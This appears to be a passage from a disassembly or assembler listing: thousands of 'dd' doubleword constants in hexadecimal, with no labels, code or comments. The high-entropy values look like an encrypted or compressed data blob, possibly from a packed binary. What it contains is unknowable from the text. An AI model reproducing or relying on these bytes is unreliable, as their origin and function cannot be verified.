0D5F81907h dd 0F120EA5Ch, 0BF85FF43h, 1791DF9Fh, 4F2E7181h, 49A2A02h dd 97C01CC8h, 5485814h, 295AA2A6h, 3382989Ch, 115BD10h dd 71319029h, 1B6181Bh, 0E7B40E39h, 3FA5F3CFh, 2F10F405h dd 0D480CDF8h, 0C4FB6B08h, 74A41B05h, 9282239Dh, 11640A16h dd 0B3884B15h, 98EB3869h, 0ABE1AA0Eh, 51E3E520h, 992C1E9Ah dd 8D1DFEC3h, 98AC4F6Ch, 0D0EC00DEh, 0B6C6106Eh, 0EA9494DAh dd 54FE2DCh, 2EDD21C1h, 0E318263h, 6F2A385Fh, 89AE0142h dd 92327535h, 0C86E3FF5h, 0F1FA5900h, 83CF7711h, 0E2B8994Fh dd 0D1DB1Ch, 8D09747Fh, 0ABA82A91h, 60890583h, 74B70970h dd 803AB1D6h, 7CAD41E2h, 2F010691h, 9522C066h, 3368A0E9h dd 6F64A14Eh, 1F7DDFC8h, 0C3DD34h, 4DD54B1Eh, 0E05B223h dd 5F32717Fh, 0DE3E20A5h, 374F9C0Ch, 0CF4A2D8h, 2720FEDAh dd 0F8C0EB1Ah, 90812C51h, 0CF80EF78h, 0D1C8A0B8h, 7E1DE300h dd 503515DDh, 0F4565A52h, 9007BECFh, 5E585A4Fh, 0C4F18BD3h dd 7965691h, 0DBB7B0A7h, 76B44425h, 552D255Fh, 0E41C02D1h dd 0B40A8641h, 64AD6C83h, 7970D5F3h, 0DAF50272h, 0D1855491h dd 271D8A80h, 91BC0617h, 0E2798B40h, 0CBBE00CAh, 0E5E6AC7Ah dd 5B130330h, 0EFC42F72h, 0AD6EAFh, 0E319F0E8h, 139DBA65h dd 82C4F3C0h, 0F47C9008h, 5AF0D047h, 892A11h, 68B49969h dd 8BBB186Eh, 68BBF251h, 0F9A780E1h, 7BDF3E37h, 305600CAh dd 5F6A22Ah, 0DE094F3Ah, 7E904561h, 270910E1h, 8009D96Ah dd 981F62B5h, 0BA3C9D04h, 0C0A52731h, 0BD6A5ED2h, 0AB7B20C6h dd 2128AE1Fh, 5A803F80h, 2D50178Fh, 341891F0h, 33DC8B0Fh dd 0A5B76E27h, 6116C465h, 29C87EB7h, 0B6D2795h, 0C52D12E8h dd 4DD3FF25h, 0AD60CED1h, 632F89F8h, 3F4EED00h, 0D5852998h dd 0E0BA9D16h, 1911349Dh, 0C9FDAC93h, 73DF90E8h, 57A3012Ah dd 6AD6022Ch, 891C608Fh, 0B75F2B40h, 0D48FC10h, 773DBF79h dd 23908BBDh, 0D50318C7h, 247F010h, 0F4B28126h, 92625F62h dd 277104FEh, 0E8DB09C6h, 94FAC70h, 0FD01CD30h, 0B505EB73h dd 6CBA1A31h, 0DF8A4F75h, 1D0E3B04h, 16A19D84h, 79E8D4E9h dd 0CDCF2527h, 696D682Ah, 3633FB48h, 3DF44B5h, 9B973921h dd 0ED985DBFh, 0CCB49C56h, 83056E91h, 0A22505BDh, 73352DC9h dd 0C2D2D85Fh, 0EF8D410Ah, 0D508962Dh, 0A5291E30h, 0E92D0BDAh dd 0F20B9073h, 848569C7h, 0E934E7E6h, 0B5A98961h, 7652F6B8h dd 27AF702Ch, 0F287040h, 0E30D5888h, 1739E0A5h, 5F0ED202h dd 5F8F0F4Ch, 0AC617118h, 0D0148D48h, 86575F8Ah, 30B40BF6h dd 8BA5694Ch, 2129B513h, 1299F7ACh, 0D7FEC281h, 825B83C4h dd 0F9A0D58Ch, 8C1AACC1h, 0DBF90301h, 35D0B911h, 703C63h dd 0D262860Ch, 8C2B02ABh, 145B0D01h, 503D79FCh, 84F8E41h dd 0DB4E227Ch, 8918099h, 5E5F79BEh, 0B6B9C501h, 557F00D4h dd 1CC9AF78h, 9D292D76h, 3290E85Ah, 2FD40A51h, 3FC0F7DBh dd 22E4506Bh, 0E058EBEEh, 2033CEF0h, 0EF773182h, 0C8014F97h dd 7992B0E0h, 0DA85FF5Fh, 71E46581h, 7965C942h, 43BE809Eh dd 0F910E5B2h, 44814D9Dh, 196C6016h, 0E4819DE7h, 0D18A9BDh dd 5CEC7ECAh, 5C165E4Fh, 61E09CB6h, 0E5099BD5h, 4DD82B93h dd 0BACFC003h, 111262BFh, 71488902h, 0E931731h, 9B97FEDDh dd 5CF88069h, 2DD1BF7Fh, 14D3EA28h, 0D7181659h, 90E27B27h dd 3C3B8B2Fh, 15007FEEh, 71FB26D1h, 633A0476h, 341D9730h dd 675F0304h, 0B35FC3B3h, 0FEB02B5Dh, 4F724DD0h, 804CDE61h dd 50F6C7C9h, 0E05601D9h, 9509606Eh, 18422AEDh, 42C9F8BEh dd 85905562h, 3EE23BA6h, 86047B71h, 0D18B6097h, 225A90ACh dd 0C02B4B44h, 929C7E4Bh, 4C78AC7Dh, 0D24A5409h, 557CC369h dd 0A23B00DCh, 5F91671Dh, 0D52DB52Bh, 11F03509h, 0D5D68117h dd 0BE8464AAh, 0AE05A5C6h, 0DE0B2B34h, 0A203D219h, 0E1A66D9Ch dd 0D4EC796Dh, 9D906C5Dh, 0C33C6D95h, 0B5915803h, 0A6CC3BDDh dd 0AFC7BC88h, 93C0614Dh, 0E9A47BBh, 0CB0113B4h, 9897BEC0h dd 514A3F23h, 5F0BB6A3h, 0E36F07B9h, 56F42D62h, 0CBF60BEDh dd 66274E7Ch, 0DC9C9638h, 0A0B2C00h, 34455887h, 4DE55B65h dd 6E29FD55h, 6204AA6Eh, 0AAA47975h, 69BF88h, 898A305h dd 6F503C4Fh, 55D01900h, 0A64452B3h, 840F49E6h, 5F11530Bh dd 0D7418B62h, 637CC2F5h, 71EEA8C4h, 0C793B0C3h, 6E242EF8h dd 2F821C4Fh, 505A7C07h, 0D309FDBFh, 7B5B2C6Ch, 6F1670E6h dd 0B7A50F03h, 1D75EEBh, 93A290B4h, 6DC32B48h, 0FB528A44h dd 0EDC409FCh, 0B6FCF28Bh, 80C6B7A5h, 0AC6B7BCEh, 4E12AE01h dd 0DB40FA3Ah, 0ECBEB024h, 324D0BC9h, 2FD6C08Bh, 6A5FF80Bh dd 0B1CD6084h, 85C7801Fh, 0D3F5A395h, 7774BAEDh, 424CF99Bh dd 9EF32DEAh, 3B124529h, 0FB1C250Bh, 0A2D0A5EBh, 7ACB2BEDh dd 80789A5Ah, 0CF565E08h, 0D18D1689h, 186CB716h, 4B310EE8h dd 0E0E3077Eh, 0BFDBC0F5h, 0DCC45EC0h, 52986A35h, 0FC19D13h dd 79E647E4h, 72D32AF5h, 0ACD125A4h, 0AE2B2A05h, 0A7F29320h dd 870F270Ah, 847009C4h, 39E28188h, 21311512h, 3A23B560h dd 41292EC8h, 4B0CA52Dh, 0EE54064Ah, 6C23954Ah, 0F27A1F5Ah dd 56677C07h, 5A5760F6h, 0F549FCCCh, 163BBCF6h, 0AD31C14h dd 0A7D7D18Bh, 5DC0E7CDh, 2614E17h, 0EDBBA115h, 7F428876h dd 6DC5456h, 69AD5CE6h, 0AE164445h, 0F288EF79h, 0DC0E0011h dd 0FC3227E7h, 0DF271F7Fh, 0B35650E5h, 0C96B78F1h, 77612012h dd 0C8BEA000h, 9D0D2229h, 95A1EB64h, 0F9E21417h, 27566600h dd 8E5F40FBh, 0D5F23000h, 0B2BDF1EEh, 4EEF1218h, 659704A9h dd 7B600921h, 7D770E8h, 0A8565104h, 0A0F80950h, 0FEB95881h dd 83FD05FFh, 8B1215B8h, 484E8D95h, 0EBEDB621h, 0CFF3A546h dd 0E70E2AE8h, 0FE692698h, 8971DE52h, 0B27EB589h, 4E8D6096h dd 51E99203h, 87A7A285h, 16647A67h, 28602960h, 0E89C10B5h dd 1A820092h, 6179D872h, 0EA00CB4Eh, 9997B771h, 285FEDDAh dd 208669D5h, 83130D41h, 7C0D01E1h, 0F47D4721h, 9BE608B8h dd 0F0D6A819h, 1FC611DAh, 66811711h, 3B3E4EEAh, 9823CF08h dd 0FB19250Dh, 0D1C24200h, 0BCB4CD35h, 6B8015B6h, 0CC4A67B3h dd 1040CD16h, 0D5604961h dd 820093BCh, 0FB675D1h, 4C94A702h, 90C0CD3Ah, 0D763796Ah dd 0AE77BA00h, 0BCB2D9A4h, 5E6F2414h, 1C46D65Eh, 0F359C904h dd 0BE98C00Fh, 0CCB4A508h, 0F4377F40h, 0F7704D1h, 81CB30BDh dd 12146145h, 0EAAD7D85h, 79912B18h, 0D246F78Ah, 8A479D28h dd 0E9611564h, 79FE3087h, 0CB252C49h, 0E7737E1Ch, 0B6E610AFh dd 0CC00923Ah, 3F3071EDh, 0E66A830Ah, 0C3660BC0h, 35435ABFh dd 7EAC9C69h, 0D902F4FBh, 41BA66C9h, 5A4CAB0Bh, 0DC97BE75h dd 2AD40E00h, 8719CC7Eh, 0BCBC91A1h, 0BE5DC880h, 0D697CEF4h dd 0AE957500h, 4D20C59Ah, 244370C0h, 2640496Fh, 0BED08A4h dd 6DA50D29h, 0FF80CF37h, 57DF4164h, 0E82F4800h, 0C277E081h dd 12D05DCh, 2530C9B5h, 3E82A5FFh, 2600B86Eh, 87F178A7h dd 0B5142909h, 4E2D21CDh, 1DF2D1A3h, 3B659D30h, 0D8020FF4h dd 0BF8D1147h, 51859483h, 0B596C8BCh, 0EC1D3120h, 7BCCD38Dh dd 0AC1800E3h, 7B2FD1FCh, 7CA713DAh, 0D471A8D3h, 1CF82443h dd 9D162066h, 28813437h, 101CA3A9h, 0B796BAA0h, 2340116Fh dd 2B4C4F6h, 29198615h, 87749F11h, 0C2721612h, 0B0B32202h dd 5E357C62h, 105EFA81h, 0C14168D6h, 5C221325h, 0A065F6D2h dd 398DBA71h, 20480B4Fh, 0C632597Ah, 640063ECh, 80DC4C25h dd 0DB84AE3h, 493F8A6Fh, 4E06295Ch, 0EA00216Eh, 662DC519h dd 1F51BBBFh, 6FAEADE1h, 0B2314054h, 5A29B0C4h, 1E9AD71Fh dd 4FB77725h, 7A1A3A06h, 7BEED39Ch, 519D04BBh, 88AA7ACCh dd 0FE0ADB6Dh, 560EC2C1h, 0BA040EA0h, 439B4F1Fh, 0F2DB3085h dd 8E88580h, 8903A0BFh, 2BF50AE7h, 24BE8CBDh, 56D1A7D3h dd 0E0B6F39Ch, 9D89BA2h, 94953B28h, 0EE092170h, 0CD617615h dd 22D5C05Ah, 560449D8h, 4E35A8D0h, 124ED2h, 9D6107EBh dd 5DE8E94Ah, 8C19FCh, 62A5A04Bh, 0BD89422Fh, 576D4A95h dd 8E0C9A37h, 40E546E8h, 0C15E8B18h, 101CBEA2h, 402D1F11h dd 2CA3EA8h, 0D600BC54h, 6BFB707Ch, 5EE1362Ch, 5A9001FFh dd 3E1AC281h, 0F68935C2h, 96847B5h, 0B50EDF4h, 79B166B5h dd 24904458h, 10343Eh, 0EB815BF8h, 7FC9644Dh, 73875C45h dd 0FAFC6084h, 81610230h, 277071F3h, 1F7179FFh, 75B58982h dd 42240C0Eh, 68AACB17h, 1CF3E387h, 15C9E002h, 4D26EE3Fh dd 7AF660h, 82747FF0h, 0E883617Eh, 8925027Dh, 83AD7B14h dd 1C8A2970h, 0AB0B1BF0h, 0D95D0500h, 5FE74499h, 220E348h dd 85016059h, 0FFA2C4F8h, 7C8D76E3h, 0E3D6E907h, 235612E8h dd 0BFCD8017h, 5DCA007Bh, 0AD327EB8h, 0B5E49C6Fh, 26034D16h dd 830A90B0h, 0C3685EA2h, 9073D873h, 6CB04603h, 0B02F1FD5h dd 3C889F0Fh, 6F007F57h, 0A6143DD8h, 0EF7E08CAh, 0B5FE5D00h dd 9904E20Ah, 814C012Ch, 5433FB4Fh, 380EC71Fh, 987AA643h dd 0C1202711h, 19484719h, 34588364h, 0A89E421Ah, 302445CCh dd 8A316DDAh, 7201CE70h, 719DCF7Eh, 198C62AFh, 429928A3h dd 30C06FF0h, 73A9383Eh, 0D8060E34h, 1460DAA5h, 5F7E5D10h dd 0D2643300h, 0F4DE1D4Fh, 48280042h, 86CE9481h, 89779308h dd 1A216E0Ch, 0CE0B12Fh, 6201BAFh, 5F41D120h, 96C487E1h dd 607A0189h, 0ABB1D0Ch, 83D9B923h, 0B6831BA0h, 0CE11070Fh dd 8003CBDFh, 1E6FE8D6h, 462119D8h, 3E170330h, 7ACAB19Dh dd 3AE15064h, 20DA5D41h, 0C2C8800Fh, 0F5FC5137h, 0EA730CD3h dd 0C180A28h, 0B32FA300h, 7742171h, 81F67A5h, 4DECCF08h dd 9FEEA8B8h, 0E919608h, 3FE00067h, 47D5FD40h, 0BDA47E1Ch dd 9217AF00h, 31B19CA0h, 9491717Ah, 0C2F2E916h, 7F5DA340h dd 873E3379h, 0EF5E8AAEh, 70B18057h, 0A20061F1h, 76009CD2h dd 0CD1A5D09h, 18FE8ED7h, 20839D6Ah, 720AAB1Fh, 20EED04Fh dd 8C81AB70h, 3ECAD8C2h, 5F10487Eh, 9260034Ah, 5B3B3C08h dd 8306483h, 52C42171h, 93C90F60h, 0AE05092Ch, 3FD420B7h dd 453F3E90h, 236386A6h, 61089B9Eh, 87E02118h, 4782F03Eh dd 0E3B0A00h, 5E954810h, 42D41268h, 0B7200F46h, 91305C2Dh dd 8E80B060h, 0A3A6473Eh, 0DE12448Ch, 933E8500h, 5058B628h dd 0D5D91D71h, 17B78033h, 792289FDh, 0A1B6C0A0h, 87639E00h dd 69996B9h, 0C118C36Eh, 58DA4C7Fh, 0B6775848h, 0DDD7DC00h dd 0D61B03BBh, 4F08CCC3h, 0AE409821h, 0B44B2EBFh, 50561270h dd 0CF23ACC8h, 8F604701h, 7B186408h, 1F4FBF88h, 809D6760h dd 0A075AE10h, 0A9C459C6h, 0CA0F711Fh, 0C04E8890h, 0DDD5DCB8h dd 4B22CB46h, 0DCB09603h, 863EECh, 665AC671h, 0E1FA3AD9h dd 0C5B84400h, 670CE041h, 49C4A016h, 0C10B7487h, 9AD4DE30h dd 8818B143h, 0BD006766h, 8628A806h, 43A1417h, 54B7C04Bh dd 3CE5CC27h, 0A100CF58h, 372C39C7h, 0B6308ECAh, 87F22126h dd 167501B0h, 0D4AE1BACh, 0F521E93Eh, 0A2502357h, 0F61B3076h dd 0D9BDB502h, 6088E4C2h, 0A0407A50h, 844F8260h, 0B786B111h dd 8C4DAC40h, 0D8DCB504h, 8EB3DDh, 0DCAD9900h, 0E1E7C00Bh dd 853E9418h, 0D02C89h, 3DD20D55h, 3C6F496h, 4DDAA63Eh dd 0D0D864F4h, 90604460h, 114C0823h, 0BE3E75h, 6CDB9460h dd 16265447h, 31E423A2h, 319AA04h, 0C288CB35h, 0FF9C481Dh dd 0B61700D7h, 837AD296h, 8CCDA9Eh, 5C2113h, 68AB17D0h dd 0FEE8DB60h, 0BC20F498h, 0C454850Dh, 4E8F6073h, 7899266Ah dd 0DFFD003Ch, 5AC1B815h, 0B111EC91h, 4A3E9580h, 87ABA6h dd 0A83E8CDDh, 0B6015C6Dh, 19C6BB41h, 38209C69h, 0CD184143h dd 8CDC48A4h, 14601448h, 88EC84ABh, 0DCBCC052h, 0AB46DDD1h dd 9A005122h, 0B9F9DCB4h, 0C2F7A4Bh, 76B2AC84h, 0D40E770h dd 3AB60241h, 59DDB83Dh, 0C116C9Dh, 790DC09Eh, 0CAA8401Bh dd 0BC10CC28h, 78A18A2Ch, 7628743h, 6404CE99h, 69E3F060h dd 5C02E6F1h, 0BA0A2A36h, 6330423Eh, 8402EFDh, 0C049144Bh dd 8327870Dh, 61D8E440h, 0CDFE00Fh, 8821F217h, 8D008656h dd 0C7F066A1h, 0EB7B91Ah, 74974081h, 9D0600ABh, 0E2EF10EAh dd 0B4090BDFh, 276CDCBh, 123DAD8h, 6501A268h, 809086FCh dd 22D00FFEh, 0A80C1CA3h, 0A8070CE2h, 1A7E2427h, 6087445Ch dd 23B717D6h, 0A11DA96h, 17CF5F00h, 0B1CA0D5Dh, 3D527402h dd 41FBC67Ch, 0FD1E060h, 0C077C80Eh, 0EEFBEC66h, 995470F5h dd 3F7700F5h, 58E9D9C6h, 94618CEh, 5C088E60h, 0C000E01Ch dd 737A604Eh, 283D6A51h, 2090227Bh, 1B08FFD8h, 5B11B8h dd 89F11D9Eh, 0E0B0BD9Ah, 0A1782520h, 9218B430h, 0A64B3E0Bh dd 24B81CC3h, 4089DAh, 0ACCA5A22h, 0B1E3639h, 8CEE9197h dd 741E3F8Eh, 13CC2368h, 8380548h, 7268222Ch, 6050C220h dd 0BE662CE2h, 730803B0h, 0A8027729h, 0EF04DDFEh, 8930483Fh dd 0E76740AEh, 0B64F4A7h, 4BA0C563h, 120024EBh, 422DCEF2h dd 18A21A8h, 80B75671h, 0A975FD72h, 51809880h, 0C21CB8FFh dd 23F2001Dh, 68694D9h, 9A4A8A12h, 0B5D41C41h, 71B221D5h dd 0D4308DA0h, 5214B817h, 618650EAh, 9D0020CDh, 0F6C2B784h dd 0A021C17Bh, 807296B4h, 36143EE0h, 842C861Fh, 0C4FE17D5h dd 5E2C28FFh, 1917CE00h, 94BAF01Ah, 0EC4700D4h, 5B86DEE0h dd 39267306h, 0ED87B046h, 2B416335h, 0A426361Dh, 536991E0h dd 1836A100h, 968812D7h, 48E27727h, 6602D424h, 0AD5708C7h dd 25A0404Ch, 8B48A646h, 88E1E040h, 0C561003Eh, 4451992Bh dd 9FFEB5ADh, 840594Bh dd 53A65017h, 0AA1E0A63h, 2988BBEh, 3E0EF434h, 0A97D2858h dd 9048D0BAh, 1D12354h, 8916045h, 0BD000E54h, 4A98604Dh dd 550CE729h, 58111B0Ch, 2289109Ah, 0E8104C6Ah, 20388C4Eh dd 0A593B62h, 8C1428B6h, 0EA73C480h, 5C63Ch, 98D8D7EBh dd 0B71E0103h, 55C1D200h, 96D36E83h, 0DA640118h, 7CE2A7D7h dd 5EDC3409h, 0E8F01B5Ch, 46008C4Ch, 0A7728F0Dh, 52189F27h dd 8702B4A6h, 2E99F6B9h, 0B6732050h, 47899316h, 0B752D027h dd 19DCA010h, 0C55CC8h, 5A7C96E5h, 0C0B28AD8h, 591EF679h dd 8C9EE8Eh, 0E4D04506h, 1980600Ah, 97300BE6h, 0F09D5AE0h dd 74807711h, 8BC60CDBh, 3D727E0Ah, 45016446h, 77D2899Bh dd 0DC96E8BFh, 18742162h, 2433ECDEh, 0CD8011DAh, 4CBE570h dd 17EADA0h, 678DA1Eh, 9717E040h, 5E249418h, 40035146h dd 0BA700914h, 0A11FEB83h, 46CC971Bh, 10E2D06Ch, 581E6AF4h dd 8C12E8F4h, 0A83DD902h, 0C2FDBCF2h, 11E41F3Ch, 9DEC800Bh dd 24DDBD24h, 825C9C4Ah, 15B6D4E0h, 98A2B044h, 51D9AC51h dd 0E4005F18h, 90249221h, 0C025B6FAh, 1E22C981h, 0B90077A7h dd 0DE143DD4h, 27FF4F75h, 88A40163h, 0BD98813Eh, 0A2CC7323h dd 0F9043017h, 0C858301h, 1ED0EAA8h, 0FDFC0404h, 86A90B50h dd 58200610h, 0E052E460h, 2304DE05h, 0B6840925h, 843DAC10h dd 77007AF0h, 0FE24AB2Dh, 3E98DEEh, 30042282h, 601062A9h dd 0A6017B95h, 6894A151h, 73C89CDEh, 0CCB102F8h, 0CA7C288Fh dd 0FA904160h, 96B491DEh, 0A066CEE0h, 24B64108h, 2188DECh dd 11A2D47Eh, 20CA2044h, 0B9C0CC51h, 46DDD4DCh, 26522293h dd 34B19Dh, 6E2C0C33h, 9054AB8h, 0A18A8E44h, 0C400B025h dd 0DE89A916h, 4F44A16Dh, 9B73448h, 0C3DDD6DCh, 9724001Ch dd 5C00DDAFh, 6453770Bh, 22E8D6F4h, 4C7185Ch, 60677844h dd 102C91B9h, 0AC3FF300h, 458A8890h, 9D5CB95Dh, 952960C7h dd 53715C59h, 0C501CC19h, 843FE700h, 0B7A154BCh, 959A1388h dd 0D5544060h, 0B603EC25h, 0B5E00600h, 0A5ECDB4h, 2DC25D8h dd 0EA1F3081h, 0C8F03D5Dh, 3FDF0278h, 18503668h, 74DAA609h dd 0C4000EEh, 0F0FE7A8Bh, 2D08F421h, 343947B6h, 9C67020Ch dd 0FD992320h, 0B246A028h, 493E9402h, 0D859B3A6h, 3E8BDC60h dd 0FB70F11h, 4900697Ah, 0BCE318DFh, 0A72E6090h, 0D508606Bh dd 17A80068h, 55C5A30Ch, 0E09F10CEh, 0DFFC8FAAh, 0B4500135h dd 7FAA111h, 0BCAC3CC7h, 93038C7Ch, 33E226ABh, 519D9052h dd 54952819h, 1226A2F0h, 0A6C860F0h, 11889408h, 604983CDh dd 0C734F295h, 51C1004Ch, 0A1D5A60h, 0D0878E30h, 537298CEh dd 16A2A021h, 2F18F30h, 0F5110C2Dh, 64673FD7h, 6F600B64h dd 0B101F3CEh, 872BE19h, 0FC263B24h, 0CE6B87F0h, 4919C00h dd 3E57AEA3h, 0B73101DAh, 0B19462A1h, 25706C1Ah, 11F41DC1h dd 9AC08705h, 0EF7782E0h, 2E49D792h, 11239Ch, 34219CDEh dd 1B4CAEF4h, 248C8A78h, 0BA17D340h, 2CF24A96h, 0CC00608Ch dd 6786F117h, 0F49B0CF4h, 4B50046Eh, 0C2A5E2A2h, 0F4D35DB9h dd 0E23670h, 9E67999Ah, 1A53CB6Bh, 72CF26h, 30BEA08h, 0C2DA241Eh dd 6B063904h, 90806745h, 2A531ACh, 9F87761Dh, 9407A841h dd 0F052B685h, 0D400B86Fh, 8A0AF7B4h, 1C09F8DDh, 4885E2B2h dd 801492C8h, 3E17C86Ch, 40D81B22h, 429E134Ah, 0A4221CB5h dd 764674A0h, 4A18E30Eh, 0F8893921h, 0FADCE454h, 0B6040CBCh dd 0D8005719h, 0CD6E4BFDh, 0AEDCDF1Fh, 9980382Eh, 1D120A95h dd 0D65602F4h, 0B6AF57A3h, 0F6E26CFAh, 9A718AC0h, 0E5387DC1h dd 0ACD09854h, 28A33545h, 0D1829A8h, 1DC2FCE0h, 84BC7960h dd 68F4A08Ah, 58EA1046h, 0A31A0B03h, 910E155h, 19B8982Ch dd 9AB6018Ch, 7A336B46h, 8DC1C00Dh, 33B4F76h, 361A0473h dd 64988A1Fh, 0BC1704D1h, 8B7B0296h, 0CA6200ACh, 0E2F4BD17h dd 18AB0E40h, 6E665D7h, 0A82FD823h, 0BD8020A9h, 0A01786D6h dd 802D7AF8h, 566216B6h, 5004F2E9h, 0C0CF581Ch, 30219302h dd 8CA04986h, 0A6E4BC54h, 6E3B2000h, 84C351DDh, 0D4890008h dd 0F8BBD4Dh, 3D7FEDC4h, 0CC01A4A8h, 0E7237301h, 1668388Eh dd 99B2F940h, 1CB409F9h, 0DA80BF34h, 0D8243E5Bh, 24382D49h dd 867089Fh, 0C7F574C7h, 2A0FBCC1h, 0ED073006h, 0F1569647h dd 0C06718Ch, 20D2A7DFh, 0B80540C9h, 0B2FCDE1Ah, 6C41F440h dd 486B0839h, 758330Dh, 6A5E1F02h, 58C85469h, 0FDF08606h dd 0A5DB5D41h, 0B0048056h, 94040B02h, 0DE30E499h, 416053E6h dd 5C5E9C18h, 3C6800A1h, 1EDFFEE9h, 0C254DCE0h, 4E3EE4B8h dd 0E00F2A64h, 930652ECh, 88863F46h, 145E4C69h, 0A169C279h dd 3E0371F6h, 33E90087h, 0B2E74B77h, 8301CA6Ch, 641DBEFEh dd 1C28EF03h, 0A024B615h, 40AD521Eh, 5C8326A8h, 0CD00811Ah dd 3B2F5DDh, 92BD82FEh, 0DE751C68h, 9304A6DCh, 64A08896h dd 8D04084Ch, 0A2DC61B6h, 0C50626EAh, 0A4502408h, 91133A4Ch dd 448542h, 1F4AD1BCh, 0C535931Ah, 2CF26862h, 5D3012F2h dd 0F6716Ah, 70FEE2CEh, 0CE83517h, 5FA56712h, 20CA6042h dd 0D44208h, 0FC787288h, 0D01C67EAh, 0A8B786A6h, 6BD5502h dd 0ABEEFDAAh, 91081DB8h, 7B638071h, 5BD2A834h, 664802B8h dd 0B85908CDh, 0E8180C71h, 0A9841416h, 732AB404h, 0DD4E0200h dd 7E013F4Dh, 833E9FCFh, 40386B32h, 78C53BCh, 69751D92h dd 33BA4017h, 1EF66885h, 1A34B09Ah, 6C8E91A7h, 89C10C88h dd 95DCFD7Ch, 0F4E00B55h, 0CC13176Ah, 0E8D863F4h, 8CCA96B5h dd 985D0644h, 0FC973F78h, 236CB801h, 443CE2A8h, 0C8C8CEECh dd 0A6A1C076h, 7409C0EAh, 4AC5F0Bh, 14C1A500h, 588002F4h dd 0E06094AFh, 5E6F1C77h, 6D91E08h, 109761B8h, 23D03A47h dd 0C690E0Dh, 99A25081h, 0B102D4Eh, 89070D12h, 40698908h dd 74DB2408h, 76D8B69Ch, 0A7247346h, 87751F70h, 0C8B6C7D2h dd 918097A7h, 0D879804Ah, 0BC299B08h, 0A8C2CF8h, 298590Ch dd 3673CA05h, 0C580C8B7h, 45DFC94Ch, 3F360130h, 0A3AC32D6h dd 0B19CC8B4h, 0C44F8A25h, 0B9B861ECh, 489B449Fh, 59815610h dd 0FE31A810h, 66C96A18h, 2A6420B0h, 95D8A001h, 3766C04h dd 0E28B7h, 0F8B33819h, 81C8A480h, 170307BFh, 6A0F40EFh dd 0BAE03C2h, 2F32F4DEh, 0EA32021h, 22D420B0h, 60A551DDh dd 2C32FE4h, 885B7D9Fh, 28C84D8Ah, 0A8CA1E29h, 0FF81C87Ch dd 0A7B7D9BCh, 4032B830h, 0A8093E43h, 5BF4D8DAh, 0DEF0D320h dd 0C2017C2Dh, 0CAA65458h, 0D84017E0h, 63B5A24Eh, 0F424905Ah dd 0EBD050D8h, 0A644F004h, 0E8A2635Bh, 0C53010F2h, 3A4F0256h dd 51758A66h, 2822F064h, 91104819h, 61898700h, 0B97CBFE4h dd 0AC595813h, 0E3A71B00h, 1CF521C9h, 2E35A841h, 0E97000D8h dd 0FF63FA4Eh, 48A6DCBCh, 24254A1Dh, 48E8EA58h, 0BC35352Fh dd 40725D80h, 71B2F32Fh, 0F51B0FE2h, 40F6AE91h, 5B5404E8h dd 6800814Dh, 356657A2h, 94804086h, 0A037001Ch, 0A3062E5Fh dd 711AE216h, 2B006C7Ah, 1AFA7DB2h, 151E4533h, 0ECE4B880h dd 4C9FA640h, 2EA5018Fh, 604E1D2Ch, 3D1BE4E1h, 8945C707h dd 28B4EEBCh, 0A01A8E9h, 8E2AE362h, 6072E25Bh, 20958A18h dd 1A0EA879h, 0B9CE7306h, 177910D1h, 0BC00F618h, 0A83C87F3h dd 90F004F2h, 0C988805Ch, 76909480h, 5020A46h, 0D6DC6042h dd 1C968C68h dd 1853F22h, 71AAFCCAh, 0C8F1AC17h, 232482F7h, 0FF4194DBh dd 0C824B9C4h, 48B60583h, 0A1EE9995h, 6EC46098h, 0C959136Eh dd 11B49D5Ah, 0EE4C8777h, 804EB493h, 3B81CD9h, 0E88D47FCh dd 0B6A44F99h, 0CC0AE0D0h, 0DD60004Bh, 9215046Bh, 0D488811Eh dd 4B48925Bh, 23102E35h, 0DC121C0Ah, 3AAF00D5h, 0A3236EB3h dd 38AC6953h, 80403DC9h, 338D6D8Bh, 0CCD643h, 0A337BA8Fh dd 872573A1h, 70B16160h, 2AAD59Fh, 0A5E94418h, 0F85EB54Bh dd 17B2AD40h, 0D0DE0027h, 0D5D43D69h, 0F0000353h, 0A225869Dh dd 2E3B3DAh, 0A3085D0Ch, 0BC5048C1h, 8030D225h, 0D14FEFB4h dd 193803DFh, 18AD872Eh, 0C7DC80A5h, 0B5068ED8h, 9FB6CF47h dd 50630428h, 4086D745h, 0D03EB791h, 46A009B6h, 0BAF8C6FEh dd 7403D09Eh, 62155CCAh, 5A291868h, 0CDC0FE02h, 7EF9C094h dd 912D96B1h, 9060816Ah, 4463A342h, 42608C45h, 780B6914h dd 97CA5484h, 364D0C0h, 71821EFCh, 18137964h, 40989656h dd 0F4B2D98h, 0A03E5B27h, 2F501B4Ch, 1707863h, 0DE8045DBh dd 0E84F4786h, 7F3A590Eh, 0B758075Bh, 9460859Ch, 6D87C0h dd 461AEFAFh, 560E437Fh, 1DB8403Ah, 21CBC367h, 20860057h dd 3B6FE8Fh, 0B522AA1Ah, 29348717h, 180E217Fh, 4F49B88Fh dd 0D8FA23h, 3BEA2428h, 17A82026h, 465EC494h, 0A8C7037Bh dd 593EE1Dh, 6E1FF28h, 84F0C1A6h, 0EC1C2810h, 38018C77h dd 0A3ADB191h, 3C739D18h, 0A293583Ah, 6978A122h, 78D8B900h dd 80F33C49h, 0A806BC00h, 22F4CA45h, 0D3E71091h, 0F4B61278h dd 610F37DCh, 40BF4051h, 36A93C12h, 42A7906h, 7414EBCAh dd 8EB495EAh, 0C072C828h, 0D59EAADFh, 7CE8C03h, 0A20C7DD4h dd 172C7826h, 0DE88BE89h, 0B30E8000h, 2B9FAA5h, 91953702h dd 820E7B5Eh, 5C291F04h, 439F8710h, 7C6DC912h, 4CF967C0h dd 0C1E50035h, 64B5DDF5h, 2CB92209h, 7652B104h, 1E811C03h dd 145E56E2h, 70124674h, 0CCA5713Eh, 81F18B64h, 91AF0F6Ch dd 18BC0C38h, 75E4008Ch, 0B8E695BDh, 4174EEAEh, 6D2C2171h dd 53110C01h, 6A451867h, 607E1ECCh, 10B08D4Ch, 0D41C4A15h dd 30579ADFh, 40419CCFh, 0BCF49752h, 37C43C46h, 0D6891077h dd 4E00479h, 0FCB31CEFh, 0BD3011B2h, 0D65000A8h, 0F8E62A46h dd 580994C9h, 0A0E401DEh, 2FB41890h, 0B1931706h, 0AF342250h dd 123E8F30h, 0CB9BA648h, 86DF00CCh, 201CB33Eh, 0A56B3906h dd 1916A040h, 0C09A3583h, 15FB63C0h, 913B437Ch, 0C030C8F2h dd 0BAEFFD4Eh, 0DDD709C6h, 0B479FFAFh, 0FA180B79h, 54F2470Bh dd 0FC605A16h, 0F140810Fh, 0C41C3B2Ch, 0C453B900h, 1CA6622Ah dd 